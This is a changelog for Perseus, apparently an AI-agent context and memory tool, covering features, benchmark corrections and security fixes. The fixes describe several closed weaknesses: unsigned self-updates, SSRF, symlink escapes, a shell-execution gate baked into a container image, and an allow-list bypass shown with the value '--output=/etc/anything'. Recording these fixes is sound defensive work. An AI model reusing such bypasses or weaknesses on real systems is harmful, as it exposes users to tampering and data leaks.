All notable changes to Perseus.
This project follows the alpha-then-semver convention:
during the alpha (pre-1.0.0) phase, minor bumps may include breaking changes
that are documented in the release notes.
Each entry maps a release to the task IDs that shipped in it. The
single-file perseus.py runtime is the only required artifact; everything
else (installer, docs) is generated by scripts/release.sh.
- Clean-restart attempt isolation — CCRM retry-contamination fix (#972).
retry_isolation: digest-sealed transactional context snapshots at attempt boundaries; on failure, restore the pre-attempt snapshot and inject a bounded, structured failure summary — the failed attempt's turns are quarantined and the builder fails closed if any leak back into the restored context. Contamination events are digest-sealed for observability. Attempt-budget allocation uses the paper's closed form T* = sqrt(B·log(1/(1-eps1))/log(1/(1-eps0))). Seeded CCRM simulation reproduces the paper's quantitative shape (IID overestimate of pass@3 ≥ 8pp at the ~7.1x cascade ratio; clean restart recovers it). Offline benchmarkbenchmark/retry-isolation/with a CI leg. Composes with #968 (fenced summaries feed TRACE as explicit dissatisfaction signals). - Commitment-preserving verifiable compression — Context Codec borrow (#971).
commitment_codec: typed semantic atoms (goals, constraints, decisions, preferences, tool results, evidence, safety boundaries) are extracted into a registry with canonical identity, equivalence, and conflict relations before compaction; after compression their preservation is VERIFIED (Critical Atom Recall, Weighted Atom Recall, Commitment Density, round-trip recoverability; error taxonomy dropped/altered/conflated/safety_boundary_loss). Fail-closed: any uncertified commitment — or a crashing advisory lossy compressor — returns the original text. Safety boundaries are never compressed lossily. Digest-sealed replay-first reports. Offline benchmarkbenchmark/context-codec/gates CAR ≥ 0.99 and zero safety losses with the fail-closed path exercised on every session, with a CI leg. - Pluggable submodular context-selection engine over the pooled context (#970).
pooled_selection: session turns, memory entries, and tool outputs pool into one candidate set at prompt-assembly time, selected by a monotone submodular objective (relevance + relevance-weighted coverage under a hard token budget, with diminishing returns) via deterministic lazy-greedy with stable tie-breaking. Pluggable policy registry (submodular_greedy,relevance_greedy,recent_firstbaseline,register_policyfor future policies); digest-sealed replay-first selection traces with kept/dropped reasons feed the #962 DAG. Offline benchmarkbenchmark/pooled-selection/gates 100% kept-set recall at ≤ 50% budget on 12 multi-turn scenarios (recency baseline measures ~58% on the same corpus), with a CI leg. - Trajectory-mined context-source failure attribution (#968).
trace_attribution: a deterministic, stdlib-only diagnosis layer that mines agent trajectories for implicit dissatisfaction signals (corrections, rephrasing, abandonment), attributes each failure to the defective context source with cited evidence steps and source spans, and classifies remediation as CREATE vs UPDATE before any patch is proposed (six-category fault taxonomy adapted to Perseus source types; TRACE arXiv:2608.09153 borrow). Fail-closed: inconclusive attributions produce no proposal; advisory reading agents confirm but never flip decisive verdicts. Digest-sealed, replay-first reports viarun_trace_analysis/verify_trace_report. Offline benchmarkbenchmark/trace/gates attribution top-1 ≥ 70% and CREATE/UPDATE ≥ 90% on a 36-episode planted-fault corpus, with a CI leg mirroring the selection-eval gate. - Context-quality preflight scoring — 7-criteria measurement layer (#969).
context_quality: scores compiled context across role clarity, guardrail coverage, instruction consistency, tool schema quality, grounding sufficiency, injection hardening, and token efficiency, with deterministic multi-juror consensus, per-source decomposition, and a fail-closed preflight gate (over-budget and injection markers hard-fail regardless of the jury mean; consistency aggregates by min). Isolation by construction: scoring accepts only context content, never behavioral metrics; advisory external (LLM) jurors are recorded but excluded from the consensus. Digest-sealed replay-first reports. Offline discrimination benchmarkbenchmark/context-quality/gates criterion monotonicity + preflight blocking on degraded twins, with a CI leg. - Transcript mining → procedural skill synthesis (#932).
perseus skills {mine,list,approve,reject,telemetry}plus the opt-in@skill-candidatesdirective: a deterministic, model-free pipeline turns session transcripts into candidate procedural skills (trigger, steps, pitfalls, evidence, token cost) staged outside the live skills dir. Activation requires an explicit operator review step (perseus skills approve); mining never writes AGENTS.md/CLAUDE.md, and candidates never enter live context until approved. Context-token impact of the surfaced candidate block is measured on the #929 memory-injection telemetry line (same deterministic token counter, hash-only reports).
perseus vault export --prose— CoalWash input-contract conformance (#937, #939). The prose flattener is checked against the CoalWash datasheet (TheColliery/CoalWash#5 §6): section separators are now ATX headings (## <stem>) instead of--- <stem>lines, so output never opens with an unclosed---fence; vault entries are read with strict UTF-8 and undecodable or NUL-bearing entries are skipped with a warning instead of being lossily re-encoded (no U+FFFD introduced). Byte-level contract tests added; full suite green. Gate note: merged with thevault-qualitycheck red — the gate checks out perseus-vault main, whose own Benchmark Quality Gate is failing on its head (benchmarkrun.pycase set diverged frommanifest.json, 49 vs 30 cases); remediation tracked in Perseus-Computing-LLC/perseus-vault#934. Override recorded per the scorecardoverride_policy(maintainer).- Pythia subsystem renamed to Guide. The tool-recommendation subsystem
(
perseus suggest,perseus guide {accept,reject,log,export,infer-labels,outcomes,drift}, Guide logguide_log.jsonl,guide:config block,@drift) drops the Greek-mythology branding to match Vault/Ledger naming. The legacyoraclealias is removed entirely (config key, log filename, CLI command,/oracle/logendpoint). The olderpythiaconfig/log bridge remains, with a self-enforcing removal gate:perseus doctorwarns while legacypythia:config orpythia_log.jsonlis in use, andtest_legacy_pythia_removal_gatefails on/afterLEGACY_PYTHIA_REMOVAL_DATE(2026-10-08) unless the bridge has been deleted — the removal cannot be forgotten. - PyPI project page refresh. Improve the package landing metadata with a clearer install-first README section and direct links to the public homepage, documentation, repository, release notes, and issue tracker.
- Public capability wording. Remove fixed MCP/Vault tool-count claims from package and marketing surfaces; describe the supported MCP surface instead.
- Remove fixed MCP/Vault capability counts from package and marketing copy; describe the supported local MCP surface and compatibility aliases instead (#899).
- PyPI project page refresh. Clarify the install-first quickstart, make the package README render correctly on PyPI with repository-backed links, update the public benchmark headline to the validated official-CoT result, and add direct project homepage and release-notes metadata (#897).
- Honest prompt-token A/B harness with a measured, committed artifact (#804).
benchmark/tokenab/replaces the retired synthetic harness (#803) with symmetric arms: arm A assembles the same information naively (full referenced files, plain concatenation, no penalties or multipliers), arm B is the realperseus rendersubprocess with shipped defaults, and both arms count the full request (identical system stub reported separately, context, and 14 fixture user prompts) with tiktoken cl100k_base. Measured on the Perseus repo corpus (5 fixture docs exercising include windowing, mode=reference, and the recall-first memory pointer, plus a no-windowing control): 52.63% fewer prompt tokens cold (52.71% context-only; the control doc measured -8.69%, confirming no hidden constant), render overhead p50 341.5 ms cold / 315.6 ms warm timed inside the window. Artifact atbenchmark/tokenab/report.json(sha256 content-signed); claims.json registerstoken_ab_reductionas measured; the retired figures stay banned from public surfaces. - Savings wire: counterfactual baselines through the Plutus bridge (#805).
meter_response/meter_usagenow forwardbaseline_cost_usd/baseline_model/baseline_input_tokens/baseline_output_tokensto the Plutus ledger (plutus #134), so a deployment can attach the counterfactual a call replaced to the real provider-billed event and produce hash-chained, reconstructable per-event savings. An installed plutus-agent that predates #134 still meters spend and drops the baseline with a single warning. Newmeter_context_reduction()helper and an opt-inplutus.meter_memory_postureflag record zero-code estimate-arm reduction events (actual injected memory block vs the legacy always-posture dump) into a dedicatedperseus-render-estimatesworkspace, labeledestimate-exact/estimate-heuristicby tokenizer availability, so estimates can never contaminate provider-billed spend accounting. Wiring guide: WIRING.md section 9.
- Retired the synthetic A/B headline figures from every public surface (#803). The "94% fewer prompt tokens / 0 ms overhead" numbers came from a stub harness with asymmetric arms (a hard-coded +250 token penalty on the baseline arm; the product arm counted only the compiled context) and are no longer published anywhere; an honest re-run is specced in #804. Surfaces now lead with artifact-backed figures: 73.8% LongMemEval (official harness), 67% smaller tool schema, and the cold/warm cache artifact's own 611x average (the previously shown 1,190x was the best single block). The site calculator and demo are rebased on the cost-savings certification (LongMemEval_s n=60, provider-billed tokens metered through a Plutus ledger) with the full-context baseline labeled as a no-memory-management upper bound. claims.json marks the retired figures unpublishable; test_claims_sync now sweeps four additional pages (government, readme-preview, harness, bench) and bans the retired tokens; a new test keeps the internal MCP compatibility claim code-enforced; the tooltrim connector no longer embeds a fabricated savings range in rendered output; the unregistered 67% tool-schema figure is now a registered, derived claim; the vault bulk-insert rate (98,732/s) is marked unbacked pending an artifact (perseus-vault#702).
- Silent recall failure against Perseus Vault 2.x — dynamic MCP tool-name resolution (#767, #779).
Vault 2.x advertises tools under canonical
perseus_vault_*names only; the CLI hard-coded the legacymimir_recalland, gating ontools/list, silently degraded to empty local-only recall. All 11 vault tool-call sites now resolve names dynamically (prefersperseus_vault_*→mneme_*→mimir_*), so the CLI works against any vault generation. This is the minimum CLI version for Perseus Vault ≥ 2.20 (server-side issue: perseus-vault#633; older CLIs can bridge viaPERSEUS_VAULT_TOOL_ALIASES=allon the vault).
- Optional LLM query expansion for memory recall (multi-query fusion) (#580).
A memory retriever scores one verbatim query against past sessions, but the answer
usually lives in a session whose words don't overlap the question (2-hop questions,
synonym gaps, "count all X" aggregation). New
mneme.expansionconfig (DEFAULT OFF) plans the question into decomposed/expanded sub-queries via any OpenAI-compatible endpoint, recalls each, and RRF-fuses the hits. Validated on LongMemEval: weak-category retrieval recall@10 0.90 → 0.99, multi-session full-coverage 84% → 95%. Newretrieval_expansion.py(stdlib-only — no new runtime dependency; the API key is read fromapi_key_env, never stored in config).MnemeConnector.recallgains amimir_recall_expandedstrategy; with expansion off, recall is byte-identical to before, and any planner failure falls back to a plain single-query recall (retrieval never breaks). perseus doctorwarns about stale duplicate installs across Python minor versions (#734).perseusinstalls as a single top-level module into a per-Python-minor site-packages dir; upgrading the interpreter (e.g. 3.13 -> 3.14) and reinstalling withpip install --userleaves the OLD copy behind. The active binary stays correct (the~/.local/bin/perseussymlink points at the newest), but stale copies emit historical-residue warnings whose origin is invisible toperseus --version. Newduplicate_installscheck scans the macOS/Linux--userlayouts plus every site-packages onsys.path, reports each copy's version + path, and WARNS (never auto-deletes) with a copy-paste removal command flagging the active-vs-stale split.
- Tooltrim: document Rovo Dev (
acli rovodev) deployment + platform-bundle limitation (#741). Added an "Assistant Wiring" section covering the exact~/.rovodev/mcp.json+~/.rovodev/config.ymltooltrim.config.yamlsnippets to put Perseus (and optionally Perseus Vault's memory tools) behind one filtered inbound endpoint, plus an explicit note that Rovo Dev's server-side platform integration bundle (google_drive/slack/jas/... gated byINTEGRATIONS_SERVICE_MCP_API_TOKEN) is all-or-nothing and CANNOT be proxied/filtered by tooltrim.
- README: minimal 3-line quickstart hero snippet (#733). Added an explicit zero-to-rendered-context
install →
perseus quickstart→perseus render -o AGENTS.mdexample at the top so new users go from zero to a live context file in under five minutes with no config spelunking.
- Release infrastructure only (#743): validate the new signed SLSA build-provenance pipeline (GitHub Artifact Attestations + PEP 740 PyPI attestations) end-to-end. No functional changes to the runtime.
- Legacy
mneme:/mimir:config no longer shadowed by the defaultperseus_vault:block (#704).load_configmaterializes a full defaultperseus_vault:block, so a config that only had a legacy block — the previously-recommended migration target — was silently dead: the bridge fell back to a bareperseus-vaultPATH lookup andfallback_to_localmasked it as "local results only". Legacy blocks are now folded into the canonical key at load (deep-merged; explicit canonical wins key-by-key), with a one-time deprecation notice and a newperseus doctorcheck that ERRORS when a raw legacy block is not reflected in the resolved connector config. MnemeConnector.recallsends the Vault tool's canonical argument names (#699). The tool drops unknown keys silently, somax_resultsnever reachedlimit(every bridge recall was pinned to 10) andmin_decay_scorenever reachedmin_decay. A single memory-type filter now maps onto the tool'stype;include_federation/filtersare documented no-ops.- Serve index version badge follows the real package version (#696) — it was hardcoded
v0.6.
perseus knows(#692, aliasperseus memory review) — plain-language "what does my assistant know about me?" screen: active-only headline count, buckets (About you / Project facts & decisions / Recently learned / Low confidence), ✔/~ trust markers, 8-char short ids resolved git-style, and curation (--show,--forgetreversible archive,--correctbitemporal wrong→right pair) with confirm-before-write.--jsonfor machines. Config block:knows.enabled/knows.limit./knowsserve endpoint + "What Perseus knows about you" index panel (#695) — the #692 renderer over HTTP (markdown or?format=json) through the existing redact + bearer-auth path, read-only; the index gains Vault memory stat cards fed by the Vault's active-only stats (perseus-vault #493), never the archived-inflated totals.
Merged via #689.
@focusdirective /perseus_focustool — A new "global workspace" tier: a small, capacity-bounded (default 32), salience-ranked set of items that Perseus broadcasts into the rendered context — the shared "what I'm working on now" set for an agent and its subagents. Inspired by Global Workspace Theory (a capacity-limited working set broadcast to many subsystems); this is the external, orchestration-layer analog. Items compete for a fixed number of slots by salience (base weight × frequency × recency decay); the lowest-salience non-pinned items are evicted on overflow, and pinned items are protected. Distinct from long-term recall (@mimir/@memory): bounded and actively maintained, not unbounded memory. Per-workspace JSON store under$PERSEUS_HOME/focus/.- Vault graph-centrality salience (opt-in) — when
focus.centrality.enabledis set, an admitted item's salience is boosted by its degree centrality in the Perseus Vault memory graph (link count of the best-matching entity, lightly blended with recall relevance): items that connect to more of the curated memory graph broadcast more strongly. Fetched once per admission (not per render); OFF by default and degrades to the recency+frequency behavior when the Vault is disabled, unreachable, or has no match.
Merged via #684.
- Self-update fails closed (MED).
perseus update --applypreviously pulled+ranorigin/mainwith zero signature verification by default (_gpg_verify_signaturereturned "pass" on no-fingerprint, gpg-missing, unsigned, and timeout). Now: unattended (update.auto) updates refuse without a configuredupdate.gpg_fingerprint; when a fingerprint IS set, a missing/failed/unsigned/wrong-key signature blocks the update (and the signature must match the configured fingerprint).--skip-signature-checkstill bypasses explicitly. @perseusfences remote content (MED). Remote-resolved context is wrapped in an explicit untrusted-DATA marker so a compromised/hostile peer can't smuggle instructions into the consuming agent as trusted text (HMAC authenticates the peer, not the content).- Webhook empty-secret fails closed (LOW). If signing was configured (a secret, or
webhooks.require_signature) but the secret resolved empty, the payload is no longer delivered unsigned — the endpoint refuses to deliver. serverejects a missing Host on loopback binds (LOW), matching the MCP SSE handler (was allowed — a DNS-rebinding gap).- Vault-connector binary search no longer trusts the CWD (LOW-MED). The
$PWD/perseus-vault/target/release/…candidates (an untrusted-search-path / CWE-427 vector) are now gated behindPERSEUS_DEV_VAULT_BUILD=1for dev use only. - Deferred:
/oracle/logcross-workspace scoping needs a workspace field on Pythia log entries (tracked separately). Seedocs/security-review-2026-07-05.md.
Merged via #681 (code hardening) and #682 (deploy/supply-chain posture).
@treeno longer follows symlinked directories out of the workspace (MED)._resolve_pathvalidated only the tree root; a workspace-internal symlink to an external directory would leak out-of-tree filenames via recursion. Symlinked dirs are now surfaced by name but never descended (matching@list).@tool--flag=valueallow-list bypass closed (MED). A bare-flag allow-list entry (e.g.--output) no longer admits an arbitrary attached value (--output=/etc/anything). To permit arbitrary values for a flag, list it with a trailing=(e.g.--output=); exact--flag=valueentries still match.- Federation fetch/push are SSRF-guarded (MED).
@memory federationfetch and push now enforce an http/https scheme check, block private/loopback/link-local IPs (override:federation.allow_internal=true), and refuse to follow 3xx redirects — mirroring the guards already applied to@perseus/@services/webhooks. - Bounded LLM response reads (LOW).
run_llm/run_ollamacap the response body (pythia.max_response_bytes, default 8 MiB) so a malicious/compromised endpoint cannot OOM the process. - Docker image no longer bakes
PERSEUS_ALLOW_DANGEROUS=1(MED). That env var is the master gate for shell-executing directives; shipping it pre-set removed one of the two required gate layers for every container. Operators must now opt in withdocker run -e PERSEUS_ALLOW_DANGEROUS=1(plus the matchingrender.allow_*_shell). - Docker image runs as a non-root
perseususer (LOW-MED) instead of root. bootstrap.shinstaller repointed from the personal forktcconnally/perseustoPerseus-Computing-LLC/perseus(MED) — the curl|bash one-liner and all doc links now target the canonical org namespace. Adds an optionalPERSEUS_CTX_VERSIONpin for reproducible installs.pyyamldependency capped<7(LOW) so a future major can't be pulled unbounded.- See
docs/security-review-2026-07-05.mdfor the full ranked review.
@memoryRecent Activity no longer renders empty when the background harvest writes session entities to the vault instead of Perseus checkpoints (#670, HIGH). When the checkpoint-distilled section is empty, the narrative render now falls back to a vault recall of recentsession-category memories (render-only — never persisted into the narrative file; a no-op when the vault is unavailable/empty, and it never fires when checkpoint activity exists).perseus render <src> -o /dev/null(or any non-regular output target) no longer crashes withPermissionError(#672): the atomic writer detects a non-regular target and writes through directly instead of using a sibling tempfile it can't create in/dev/.
- Remaining old-brand labels on the
@memorysurface now route through thePerseus Vaultbrand constant (#666): the rendered narrative H1 title (# Mnēmē — …→# Perseus Vault — …, visible in every renderedAGENTS.md), theperseus memory show/status/query/doctorheaders and warnings, and the narrative stale/compact notes. (Doctor check labels were already done in #667.)
- CI perf gate for cold start (#660, follow-up to #642/#659). A new
bench/scripts/cold_start_gate.py+ Perf Gate workflow pin the residual cold-start numbers so a regression is caught instead of drifting: medianpython -m perseus --version,-X importtimetotal, a guard that the lazily-importedtraceback/concurrent.futures(the #659 win) stay out of the startup path, and a spawn→initializeround-trip. Budgets carry generous headroom over local baselines and every metric prints aPERF-GATE |log row. python -m perseusdocumented as the fast single-file invocation (#660, option 2). The distribution shipsperseusas a top-level py-module, sopython -m perseus …uses CPython's.pyccache instead of re-parsing the 1.3 MB artifact every spawn — ~180 ms vs ~330 ms forpython perseus.py(~1.9× faster) with no code change. Seedocs/PERFORMANCE.md. (The curl-installer marshal-cached shim — option 1 — remains a deferred optional micro-optimization;python -m perseusalready gives single-file users the.pyc-class win.)
-
Onboarding / time-to-value: quickstart now generates a WORKING Perseus Vault config, and old-brand strings are cleared from the first-run paths (#665, #666, follow-up to #662/#663/#664). Plain
perseus quickstart(no--with-memory) used to write a broken legacy block — keymimir:withcommand: ["mimir", "serve", "--db", "~/.mimir/data/mimir.db"]— even though a fresh install ships only aperseus-vaultbinary (there is nomimir), so the memory connector was silently dead._quickstart_write_confignow always emits the canonicalperseus_vault:key withcommand: ["perseus-vault", "serve"]and no--dbargument (the binary self-resolves its default DB path, eliminating path drift);with_memoryno longer selects a legacy branch. The same canonical default replaces the stalemimir:template inDEFAULT_CONFIG.doctormemory-check labels (Mnēmē narrative,Mnēmē FTS index,Mimir connected + healthy) now route through a sharedMEMORY_BRAND = "Perseus Vault"constant so no user-facing label carries a legacy brand (#666).init/quickstart first-run output collapses to a single "Perseus Vault binary" line and replaces the Unix-only cron-watchdog next step with portable, value-oriented pointers. Docs (README, SETUP-GUIDE) updated to theperseus_vault:/perseus-vaultsurface, 55 tools / v2.14.0, and theperseus-vaultrepo/bootstrap URLs; the legacymimir:key remains accepted for back-compat. Legacy config keys are still read everywhere. -
The injected persistent-memory block is rebranded to Perseus Vault, and
perseus_vault:is the canonical config key (#662). The generator hardcoded## Persistent Memory (Mneme)/(Mimir)even though the memory layer is now "Perseus Vault", so freshly renderedAGENTS.mdfiles showed the old product name. Every generator site now emits## Persistent Memory (Perseus Vault)(via a sharedPERSISTENT_MEMORY_HEADERconstant); the backward-compatible matcher still recognises the historical(Mimir)/(Mneme)/(Mnēmē)headings, so a doc rendered under an old header is still found and replaced on the next render. On the config side,_resolve_mneme_confignow treatsperseus_vault:as canonical withmneme:andmimir:as accepted deprecated aliases (canonical wins when several are present; a one-time per-key stderr notice fires for a deprecated key). Pack-manifest overrides (_merge_pack_mimir_config) and the doctor connection probe read/write through the same alias precedence. -
quickstartanddoctornow warn clearly when the memory connector is configured but the Perseus Vault binary is absent (#663). quickstart always wires an enabled connector, but the binary (a separate Rust build) is not bundled, so memory was silently empty. Both commands now surface a warning with copy-paste remediation (build-from-source pointer /--with-memoryhint) when the binary can't be found on PATH or at the configured path, and say nothing when it is present. The binary search also covers the newperseus-vaultname and itstarget/releasebuild dir alongside the legacymimir/mnemenames. A newperseus quickstart --with-memoryflag wires the connector under the canonicalperseus_vault:key and prints the exact install/next steps — it never silently downloads or builds the Rust binary (the legacy auto-download bootstrap prompt was removed in favour of this explicit, operator-run path). -
Emitted MCP/installer configs now prefer the stable
~/.local/bin/perseussymlink and guard against stale shims (#660, follow-up to #642/#659)._resolve_perseus_invocationgained the scheduler's_perseus_launchercandidate order —~/.local/bin/perseus(survives Python minor-version bumps) before a barePATHlookup — so emitted configs and install hooks point at the launcher that keeps working across upgrades (#430). It also probes each candidate's--versionand rejects any entry point whose version disagrees with the running build, falling back to<python> <artifact>; this stops an emitted config from silently launching a different, olderperseusthat shadows a freshly curl-installed single-file build. An unverifiable candidate (probe can't run) is still trusted, preserving the pre-#660 fast path. Finally,perseus quickstart's next-steps hints (quickstart.py:343) now render with the resolved invocation instead of a bareperseus …that was dead advice for single-file / curl-install users with no console script on PATH. -
Failure results nested inside a cacheable
@includeare no longer frozen by the include-level cache (#656). The #635 failure flag was consumed by the included file's own render loop, so the enclosing@include's fingerprint-cache write proceeded with the degraded banner embedded and the failing directive never retried while the entry lived._render_linesnow re-marks the flag at frame exit for nested renders (any depth of include nesting, including failures inside@if/@validatebranches, pipe stages, and parallel pre-scan workers), so every enclosing cache-write site applies the same never-memoize-failures policy. The@if/@validaterecursion call sites pop-and-fold the re-marked flag (same hygiene as the pipe site), so a branch failure never bleeds into a SIBLING directive's cache decision. Includes whose content resolves successfully cache exactly as before. -
@cache sessionentries are redacted before the in-memory store (#657).cache_set's session branch returned beforeredact_textran, so session entries held raw unredacted values for the process lifetime — relevant for long-livedperseus serve/mcp serveprocesses. The session tier now shares the disk path's redact-before-store contract, including the #647 fail-closed policy (a redaction error skips the store; a miss is safe). Behavior is unchanged when redaction is disabled. -
perseus mcp config/perseus installemit an invocation that actually runs on single-file installs (#642b). Both prefer the installedperseusentry point when it is on PATH (the import path gets CPython's normal.pycbytecode cache — warm--version≈ 167 ms vs ≈ 330 ms forpython perseus.py); when it is not, they now fall back to<current interpreter> <artifact path>instead of a bareperseuscommand that could never spawn (MCP clients like Claude Desktop often launch with a minimal PATH).perseus install --perseus-cmdstill overrides the resolution unchanged. -
parallel_queriesno longer silently disables caching for bare@query(#634). The Track A10 auto-cache upgrade now lives in one shared helper (_auto_cache_mode) applied identically by the main render loop, the parallel pre-scan, and the parallel worker — previously the pre-scan never read and the worker never wrote cache entries for bare queries, making repeated parallel renders strictly slower than sequential. The pre-scan also honoursno_cachenow, matching the sequential loop. -
@queryfailure output is no longer memoized (#635). Resolvers signal degraded results structurally (thread-local flag popped by every cache-write site: render loop, parallel worker, pipe executor, prefetch/speculation warmers), so a transient timeout / exit≠0 / error / no-output result renders once but is never persisted — the next render retries instead of serving a frozen "timed out" banner for the full TTL.fallback="…"results remain cacheable (they are the user's designed value for an expected failure). Prefetch accounting is unchanged: a flagged directive still counts as "ran" (andperseus prefetchkeeps exit code 0) — only its cache write is skipped. -
Cache write failures are observable (#638). ENOSPC/permission errors in
cache_setnow emit a rate-limited stderr warning plus acache_write_failedaudit event instead of silently degrading to re-executing shell commands every render. -
Secret redaction fails CLOSED on the cache-write path (#647). If
redact_textitself errors, the disk cache write is skipped entirely (previously the unredacted value was persisted), with a rate-limited stderr note and acache_redaction_failedaudit event. (Session/in-memory caching was originally out of scope here; #657 later extended the same contract to it.) -
Parallel cache hits/misses reach render stats and hooks again (#639). The prefetched-result early return now bumps
directive_count/cache_hits/cache_missesand fireson_cache_hit/on_cache_missfrom the pre-scan's recorded source, so--explain, meta JSON, and hook dashboards no longer report zeros exactly whenparallel_queriesis on. -
A crash inside the post-render speculation pass leaves a trace (#640). Still never breaks the render, but now writes one stderr line and a
speculation_pass_failedaudit event so operators can tell "feature broken" from "feature predicting nothing".
-
Cold start no longer imports the
logging/tracebacksubtree (#642c). The artifact's only eager importers wereregistry.py(traceback, used solely on directive-error paths) andmcp.py(concurrent.futures, used solely insidetools/calltimeout handling; it transitively pullslogging→traceback). Both are now lazy, removing ~18 ms of measured import time from everyrender/hook/--versionspawn. The self-caching launcher direction from #642a was investigated and rejected: CPython compiles an entire script eagerly before executing its first statement, so a preamble insideperseus.pycan never skip the compile of its own file (evidence and remaining design options are on the issue). -
Render-scoped path-resolution memo (#637).
workspace.resolve()is resolved once per render (was: once per directive in the cache-key build, parallel pre-scan, and pipe path) and_resolve_pathresults are memoized for the duration of one top-level render. Measured on a 200-@readprobe doc: warm render 86–94 ms → 66–72 ms (~24% faster),nt._getfinalpathnamesyscalls 1200 → 802, output byte-identical. -
A corrupt local FTS5 index no longer makes project memories silently vanish forever (#645). A corrupt
mneme.index(bad disk sector, truncated write, garbage bytes) used to be swallowed into a silentNone→ every recall returned[]with zero output, forever, even though the vault.mdfiles were intact. The index is now quarantined to a timestampedmneme.index.corrupt-<ts>file, recreated, and reindexed from the vault on the next recall — with a one-time stderr warning. Query-time errors in_mneme_searchare no longer swallowed either, so the existing "index may be corrupt" warning can actually fire, and page-level corruption surfacing at query time also triggers quarantine. "Vault dir undeterminable" still returns silently by design. -
Federation peer narratives are no longer silently dropped from conflict/diff/merge views (#650). An unreadable/corrupt peer narrative used to simply disappear, so the render claimed a complete cross-workspace view that wasn't. Conflicts now append a
> _(peer <name>: narrative unreadable — <reason>)_marker; diff and merge name the unreadable peer and the reason (matching the #539 "vault down ≠ no matches" pattern). -
Mneme connector retries no longer dead-sleep after transport teardown (#649). When a query timeout tears the MCP transport down, the remaining retry attempts fail instantly with "MCP process not running" — but the backoff sleeps between them still ran (~3.75s provably dead per query with defaults; ~13.75s worst-case first-query stall against a wedged vault). Retries now short-circuit once the transport is gone; the skipped attempts are still charged to the circuit breaker, so breaker behavior (opening after one fully failed query) is unchanged.
-
perseus_datezero-arg MCP call returns a real date (#641). The tool's default format was strftime syntax, whichresolve_datenever substituted — every MCP client's no-args call got the literal"%Y-%m-%d %H:%M:%S"back. Default is now"YYYY-MM-DD HH:mm:ss", the tool description documents the human-token syntax, andresolve_dateadditionally maps strftime tokens (%Y %m %d %H %M %S) for clients taught the old syntax. -
MCP stdio serve loop: bounded input + malformed-input observability (#643). A single JSON-RPC line is now capped at 32 MB (oversized lines are drained in bounded chunks and answered with
-32700instead of being fully buffered), and malformed inputs (unparseable / oversized / non-object) are counted per session, warned on stderr (first + every 100th), and surfaced viaperseus_get_health— a misframing client is now diagnosable instead of silently eaten. -
--version/ MCP serverInfo no longer hijacked by a stray VERSION file (#644)._find_version()walks every ancestor of the artifact; it now only honors a VERSION file with a repo marker (.gitorscripts/build.py) beside it, otherwise the build-time literal is reported. -
Rendered output files are written atomically (#646).
perseus render --output(and thereforeperseus watch) wrote AGENTS.md/.hermes.md with a plainwrite_text— a hard kill mid-write (guaranteed torn on Windows, where SIGTERM handlers never fire) left a truncated context file that silently degrades every agent reading it. Outputs now go through a same-directory tempfile +os.replace, mirroring the render cache's atomic-write pattern. -
Webhook exit flush bounded to a total budget (#651). The atexit flush joined each worker for up to 10s — one dead endpoint mid-retry added ~10s to every CLI exit. The flush is now capped at
webhooks.flush_timeout_s(default 3s) TOTAL across all endpoints and prints aflushing webhooks…stderr line when it actually has undelivered work, making the pause attributable. -
perseus serveuses ThreadingHTTPServer (#652). The single-threadedHTTPServerserialized every request, so/health— the endpoint monitors probe — starved behind a slow/contextrender and looked like an outage. Requests are now handled on daemon threads; the handler holds no shared mutable state and the render path is already exercised concurrently (#454).
-
Cold start:
urllib.requestno longer imported eagerly (#642, partial). The header import pulled inhttp.client/email(~30 ms of every invocation) though only network paths (webhooks, self-update, LLM doctor check, federation) need it. A PEP 562 lazy attribute on theurllibpackage defers the import to first use;urllib.parse/urllib.errorstay eager.python perseus.py --versionmedian drops accordingly. -
MCP Registry publish no longer races the PyPI publish. Both workflows trigger on the same release event, and the registry validates the package against PyPI — it lost that race on v1.0.15 ("PyPI package 'perseus-ctx' not found (status: 404)") and needed a manual re-run. The registry workflow now polls PyPI for the released version (up to 10 minutes) before publishing.
@speculatehistory load is bounded byhistory_window(#636). Every opted-in render used to read + YAML-parse EVERY checkpoint file and slice to the window only afterwards — O(store size) per render (~+155 ms at 200 files, ~+287 ms at 1000) — and then re-list the store for the settlement marker. History parsing now stops as soon as the newesthistory_windowmatching intents are collected (identical speculation decisions, verified by test), and history + marker share one store listing.
- Deleted the dead
memory_mesh.pyMemoryMesh PoC module (#648).memorymesh_search/memorymesh_format_for_contexthad zero callers anywhere in src or the built artifact, and the module's private stdio MCP client carried every defect #544 fixed in the real connector (blockingreadline()with no deadline, undrained stderr pipe → two-pipe deadlock, no response-id correlation, locale-codec text mode, close-pipes-before- terminate, an unclosable process-lifetime registry). Dead code with a known-bad concurrency pattern is a landmine; removed rather than hardened.
-
perseus prompt-size/@budget --forensic— per-directive, tokenizer-accurate context accounting (#606). Byte-exact attribution of the rendered prompt to each directive (monotonic-cursor span matching; attributed + static == total always), tiktoken-exact token counts when available with an honestly-labeled estimate fallback,--since <ref>historical diffing, and@budgetthresholds enforced against the measured render.@budgetis exposed read-only as theperseus_budgetMCP tool (29 → 30 tools). Preview/--explainno longer double-count@includecontents (nested records are covered by the include's own record). Newsrc/perseus/promptsize.pywithtests/test_promptsize.pycoverage. -
@speculate— speculative context prefetch via next-intent prediction (#607). A control pragma (not an MCP tool, default off) that pre-warms the directive cache for user-configured next-intent candidates after a render, reusing the reactive prefetch execution path — so gated directives (@query/@agent) are skipped under exactly the same trust rules, and warmed entries land on the identical<base>.<fp>cache keys the renderer reads. Speculation failures are fully isolated and can never break the primary render. Newsrc/perseus/speculate.pywithtests/test_speculate.pycoverage. -
Recall-first memory posture + per-model context profiles —
@profile(#608), AGENTS.md render dedup + relevance gating (#553). Memory posture is nowon_demandby default (a byte-stable pointer block instead of always-injected memory dumps);relevantposture routes throughrecall_whenso a reachable vault with zero matches injects nothing. Per-model profiles (@profile) select posture/limits by model, exposed read-only as theperseus_profileMCP tool (28 → 29 tools). AGENTS.md context renders now dedup memory sections (existing memory headers suppress reinjection, idempotently) with relevance gating on what does get injected. Legacyalways_inject/auto_inject/context_limitknobs honored. Newtests/test_memory_posture_profiles.py. -
@bandit— adaptive, outcome-driven directive selection (#605). A control directive (not an MCP tool) that scores directives by observed outcome feedback and adapts which ones render over time, turning static directive lists into a self-optimizing context policy. Newsrc/perseus/bandit.pymodule with persistence, CLI surface, andtests/test_bandit.pycoverage. -
Recall-First memory posture.
INIT_CONTEXT_TEMPLATE's Memory Gate section was rewritten as a Recall-First posture: agents are directed to query memory on demand instead of relying on always-injected memory blocks.
-
